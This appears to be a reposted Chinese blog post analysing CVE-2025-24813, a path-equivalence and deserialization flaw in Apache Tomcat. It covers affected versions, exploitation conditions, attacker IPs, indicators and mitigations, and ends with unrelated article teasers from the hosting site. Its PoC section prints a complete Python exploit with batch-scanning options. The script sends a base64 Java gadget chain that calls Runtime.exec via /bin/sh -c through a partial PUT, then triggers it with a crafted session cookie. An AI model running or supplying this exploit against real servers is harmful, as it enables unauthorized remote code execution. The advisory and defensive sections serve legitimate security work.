CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

作者:Factor .Poc作者:iSee857

  • CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE
    • 一、漏洞概述
    • 二、影响版本
    • 三、漏洞原理
      • 🎯 利用流程(两步):
    • 四、漏洞利用条件
    • 五、在野利用情况与威胁分析
      • 🌐 已知恶意攻击者 IP(来自 Greynoise 数据):
      • 🔍 指纹与攻击迹象(IoC):
    • 六、PoC 与复现情况
      • Poc引用作者:iSee857
      • Poc复现:
    • 七、防护建议
      • ✅ 官方修复版本:
      • ✅ 临时缓解策略:
      • ✅ 工具支持:
    • 八、总结

在这里插入图片描述

一、漏洞概述

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性(Path Equivalence)漏洞,允许未经身份验证的远程攻击者在特定配置下实现远程代码执行(RCE)、读取敏感文件,甚至篡改文件内容。该漏洞已在野外被观察到存在实际利用行为,影响范围广泛。


二、影响版本

  • Tomcat 11.0.0-M1 至 11.0.2(修复于 11.0.3)
  • Tomcat 10.1.0-M1 至 10.1.34(修复于 10.1.35)
  • Tomcat 9.0.0.M1 至 9.0.98(修复于 9.0.99)
  • Tomcat 8.5.x(Insikt Group 发现 8.5.0 至 8.5.98 和 8.5.100 也受影响,8.5.99 是唯一不受影响版本)

三、漏洞原理

该漏洞的核心是 Tomcat 对部分 PUT 请求(Partial PUT)和文件路径解析的处理逻辑存在缺陷,攻击者可以通过构造特定请求绕过默认中间件验证机制,从而触发远程代码执行或敏感文件操作。

🎯 利用流程(两步):

  1. 攻击者构造一个 Base64 编码的 Java 反序列化 Payload,通过 PUT 请求提交至服务端。
  2. 随后通过一个附带特制 JSESSIONID 的 GET 请求触发服务器反序列化该 Payload,最终执行任意代码。

四、漏洞利用条件

远程代码执行(RCE)需要满足以下条件:

  • 默认 Servlet 具备写权限(默认是关闭的)
  • 启用 Partial PUT(默认开启)
  • 应用使用基于文件的 Session 持久化,且存储位置为默认目录
  • 应用中包含可被反序列化利用的第三方库(如 fastjson, commons-collections 等)

此外,如果配置允许,攻击者还可以:

  • 查看敏感安全文件内容
  • 注入数据至敏感文件

这些额外风险成立的前提:

  • 上传路径在可公开访问目录之下
  • 攻击者知道目标上传文件名
  • 上传通过 Partial PUT 实现

注:虽然这些条件组合在一起并不常见,但确实存在大量线上实例仍配置为可被利用状态。


五、在野利用情况与威胁分析

🌐 已知恶意攻击者 IP(来自 Greynoise 数据):

恶意IP地址来源地攻击目标国家
203.160.68.24中国香港美国
176.65.138.172德国日本、新加坡、印尼、台湾等
38.126.114.186美国印度、墨西哥、美国
188.213.161.98意大利日本、韩国
140.143.182.115中国澳大利亚、墨西哥等
196.240.54.120拉脱维亚美国

全球范围内,Shodan 扫描数据显示,约有 378,444 台暴露的 Tomcat 实例可能受到影响,主要分布在中国、美国、摩洛哥和巴西等地。

🔍 指纹与攻击迹象(IoC):

  • Web 目录中出现未知 .jsp 文件
  • Web 日志中存在异常 PUT 请求记录
  • 外部 GET/POST 请求访问恶意 JSP
  • WAF 报告触发“未授权上传”规则

六、PoC 与复现情况

使用方式:

批量检测支持多线程:

python poc.py -l url.txt -t 5

单个检测:

python poc.py -u your-ip

Poc引用作者:iSee857

引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

Poc复现:

import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutorCOLOR = {"RED": "\033[91m","GREEN": "\033[92m","YELLOW": "\033[93m","BLUE": "\033[94m","PURPLE": "\033[95m","CYAN": "\033[96m","RESET": "\033[0m"
}BANNER = rf"""
{COLOR['PURPLE']}___  _ __   ___ | |_ ___  ___| |_ / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | ||  __/\__ \ |_ \___/| .__/ \___/ \__\___||___/\__||_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""# Payload
PAYLOAD = base64.b64decode("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"
)def print_vulnerable(target):print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")def check_target(target):try:host, port = target.split(":")port = int(port)except:print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")returnbase_url = f"http://{host}:{port}"put_url = f"{base_url}/iSee857/session"try:put_response = requests.put(put_url,headers={"Host": f"{host}:{port}","Content-Length": "10000","Content-Range": "bytes 0-1000/1200"},data=PAYLOAD,verify=False,timeout=10)if put_response.status_code == 409:get_response = requests.get(base_url,headers={"Cookie": "JSESSIONID=.iSee857"},verify=False,timeout=10)if get_response.status_code == 500:print_vulnerable(target)return Trueprint(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")return Falseexcept requests.exceptions.RequestException as e:print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")return Falseexcept Exception as e:print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")return Falsedef main():print(BANNER)parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')parser.add_argument('-l', '--list', help='包含多个目标的文件')parser.add_argument('-t', '--threads', type=int, default=5, help='并发线程数 (默认: 5)')args = parser.parse_args()targets = []if args.url:targets.append(args.url)elif args.list:try:with open(args.list, 'r') as f:targets = [line.strip() for line in f if line.strip()]except FileNotFoundError:print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")sys.exit(1)else:parser.print_help()sys.exit(1)print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")with ThreadPoolExecutor(max_workers=args.threads) as executor:results = executor.map(check_target, targets)vulnerable_count = sum(1 for result in results if result)print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")if __name__ == "__main__":main()

在这里插入图片描述


七、防护建议

✅ 官方修复版本:

  • 升级至:11.0.3 / 10.1.35 / 9.0.99
  • 8.5.x 用户建议迁移至受支持分支,避免继续使用 EoL 版本

✅ 临时缓解策略:

  • 显式关闭 default servlet 的写权限:

    <init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
    </init-param>

  • 在 Web 应用中禁用 Partial PUT 请求(使用 WAF 拦截或 nginx 过滤)

  • 清理 webapps/ROOT/ 路径下的未授权文件

✅ 工具支持:

  • Insikt Group 提供 Nuclei 检测模板(可用于批量扫描)
  • Recorded Future 提供 ASI 签名规则用于攻击面定位

八、总结

CVE-2025-24813 是一次典型的“路径+反序列化+配置缺陷”复合型漏洞,表面上源于文件路径处理缺陷,实际利用则依赖于多个错误配置的叠加效应。

它提醒我们:边界可信假设失效、中间件权限设置失误、反序列化引擎暴露等老问题,在现代系统中依旧构成致命威胁

安全不仅仅是打补丁,更是对配置、逻辑与习惯的全面治理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/76095.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

初识Linux:常见指令与权限的理解,以及相关衍生知识

目录 前言 关于linux的简介 代码开源 网络功能强大 系统工具链完整 一、Linux下的基本指令 1.ls指令 2.pwd指令 3.cd指令 4.whoami指令 5.touch指令 6.mkdir指令 7.rm指令 8.man指令 9.cp指令 10.mv指令 11.nano指令 12.cat指令 13.tac指令 14.more指令 15.less指令 16.head指令…

JVM虚拟机篇(七):JVM垃圾回收器全面解析与G1深度探秘及四种引用详解

JVM垃圾回收器全面解析与G1深度探秘及四种引用详解 JVM虚拟机&#xff08;七&#xff09;&#xff1a;JVM垃圾回收器全面解析与G1深度探秘及四种引用详解一、JVM有哪些垃圾回收器1. Serial回收器2. ParNew回收器3. Parallel Scavenge回收器4. Serial Old回收器5. Parallel Old回…

革新电销流程,数企云外呼开启便捷 “直通车”

在当今竞争激烈的商业环境中&#xff0c;电销作为一种重要的营销手段&#xff0c;依旧在企业的客户拓展与业务增长中扮演着关键角色。然而&#xff0c;传统电销流程常常面临诸多困扰&#xff0c;像是封卡封号风险、接通率不理想、客户开发与管理艰难以及销售考核复杂等问题&…

适合工程建筑行业的OA系统有什么推荐?

工程行业具有项目周期长、协作链条复杂等特性&#xff0c;传统管理模式下的 “人治”“纸质化” 弊端日益凸显。OA 系统作为数字化管理的核心载体&#xff0c;通过流程标准化、数据可视化&#xff0c;精准解决工程行业项目管理核心痛点。 泛微 e-office 深度聚焦工程场景&#…

车载刷写架构 --- ECU收到相同的blockSequenceCounter数据包的思考

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 周末洗了一个澡,换了一身衣服,出了门却不知道去哪儿,不知道去找谁,漫无目的走着,大概这就是成年人最深的孤独吧! 旧人不知我近况,新人不知我过…

C++ RAII 的用途及业务代码实现案例

C RAII 的用途及业务代码实现案例 RAII 的核心概念 RAII (Resource Acquisition Is Initialization&#xff0c;资源获取即初始化) 是 C 的核心编程范式&#xff0c;其核心思想是&#xff1a; 资源获取与对象构造绑定资源释放与对象析构绑定利用 C 对象生命周期自动管理资源…

黑马 SpringAI+DeepSeek 实战:从对话机器人到企业级知识库的大模型开发全攻略

附完整代码 项目案例&#xff0c;3 天吃透大模型应用开发核心技术 需要完整项目学习视频以及源码的私信博主&#xff0c;谢谢~大家一起加油呐&#xff01;&#xff01; 01.认识AI和大模型 小结 AI的发展过程 符号主义 机器学习 深度学习——自然语言处理&#xff08;NLP…

共工新闻社与韩国新华报社达成合作

在当下媒体融合浪潮奔涌的时代背景下&#xff0c;大湾区经济网战略媒体香港共工新闻社与韩国新华报社顺利签署合作协议&#xff0c;携手为传播全球化进程以及海外华文媒体从单一媒体向多媒体的内涵拓展&#xff0c;乃至区域经济协同与文化融合发展贡献力量。 缔结友好华文媒体协…

嵌入式Linux驱动——3 总线设备驱动模型

目录 1.总线设备驱动模型 1.1 总线设备驱动模型 1.2 设备树 1.3 platform_device 和 platform_driver 的匹配规则 1.3.1 最先比较 1.3.2 然后比较 1.3.3 最后比较 2.LED 模板驱动程序的改造&#xff1a;总线设备驱动模型 1.总线设备驱动模型 在前面的 led 驱动程序中…

操作系统常用命令

逻辑卷创建及挂载步骤&#xff1a; vgcreate vg_app /dev/sda //在sda盘上创建vg_app卷组 lvcreate -L 50G -n lv_mysql vg_app //在vg_app卷组上创建逻辑卷lv_mysql mkfs.xfs /dev/vg_app/lv_mysql //对lv_mysql 逻辑卷创建文件系统 mkdir mysql //创建mysql目录 ech…

Git 的进阶功能和技巧

1、分支的概念和使用 1.1、什么是分支&#xff1f; 分支&#xff08;Branch&#xff09;是在版本控制中非常重要的概念。几乎所有版本控制系统都支持某种形式的分支。在 Git 中&#xff0c;分支是 Git 强大功能之一&#xff0c;它允许我们从主开发线分离出来&#xff0c;在不…

mapbox基础,加载F4Map二维地图

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.2 ☘️mapboxgl.Map style属性二、🍀F4Map 简介2.1 ☘️技术特点2.2 ☘️核…

Conda使用方法详解

Conda是一个开源的包管理和环境管理系统&#xff0c;主要用于Python/R等科学计算领域&#xff0c;可以轻松管理不同项目的依赖关系。以下是Conda的详细使用方法&#xff1a; 一、安装与配置 1.安装Miniconda/Anaconda Miniconda是精简版&#xff0c;只包含conda和Python Ana…

Unity ViewportConstraint

一、组件功能概述 ViewportConstraint是一个基于世界坐标的UI边界约束组件&#xff0c;主要功能包括&#xff1a; 将UI元素限制在父容器范围内支持自定义内边距&#xff08;padding&#xff09;可独立控制水平和垂直方向的约束 二、实现原理 1. 边界计算&#xff08;世界坐…

代码随想录-动态规划24

leetcode-300-最长递增子序列 dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 dp[j]是(0,i-1)不包括i的以nums[i-1]结尾的最长递增子序列长度 int lengthOfLIS(int* nums, int numsSize) {if(numsSize < 1)return numsSize;int dp[numsSize];for(int i 0 ; i &…

银河麒麟V10 Ollama+ShellGPT打造Shell AI助手——筑梦之路

环境说明 1. 操作系统版本: 银河麒麟V10 2. CPU架构&#xff1a;X86 3. Python版本&#xff1a;3.12.9 4. 大模型&#xff1a;mistral:7b-instruct 准备工作 1. 编译安装python 3.12 # 下载python 源码wget https://www.python.org/ftp/python/3.12.9/Python-3.12.9.tg…

2025 跨平台技术如何选:KMP 与 Flutter 的核心差异

前言 在移动开发的演进历程中&#xff0c;跨平台技术始终是一个充满争议却无法回避的话题。从早期的 React Native 到如今的 Kotlin Multiplatform&#xff08;KMP&#xff09;和 Flutter&#xff0c;开发者们始终在代码复用与原生体验之间寻找平衡。本文我们从技术实现、性能…

Python Cookbook-5.10 选取序列中最小的第 n个元素

任务 需要根据排名顺序从序列中获得第n个元素(比如&#xff0c;中间的元素&#xff0c;也被称为中值)。如果序列是已经排序的状态&#xff0c;应该使用seq[n]&#xff0c;但如果序列还未被排序&#xff0c;那么除了先对整个序列进行排序之外&#xff0c;还有没有更好的方法? …

列表之链表_C

数据结构&#xff08;邓俊辉&#xff09;&#xff1a;列表及相关概念_listnodeposi-CSDN博客 #include <stdio.h> #include <stdlib.h>// 定义Rank类型为int typedef int Rank;// 定义ListNode结构体 typedef struct ListNode {int data;struct ListNode* pred;st…

0401react中使用css-react-css-仿低代码平台项目

文章目录 1、普通方式-内联使用css2、引入css文件2.1、示例2.2、classnames 3、内联css与引入css文件对比3.1、内联css3.2、 外部 CSS 文件&#xff08;External CSS&#xff09; 4、css module5、sass6、classnames组合scss modules7、css-in-js7.1、CSS-in-JS 的核心特性7.2、…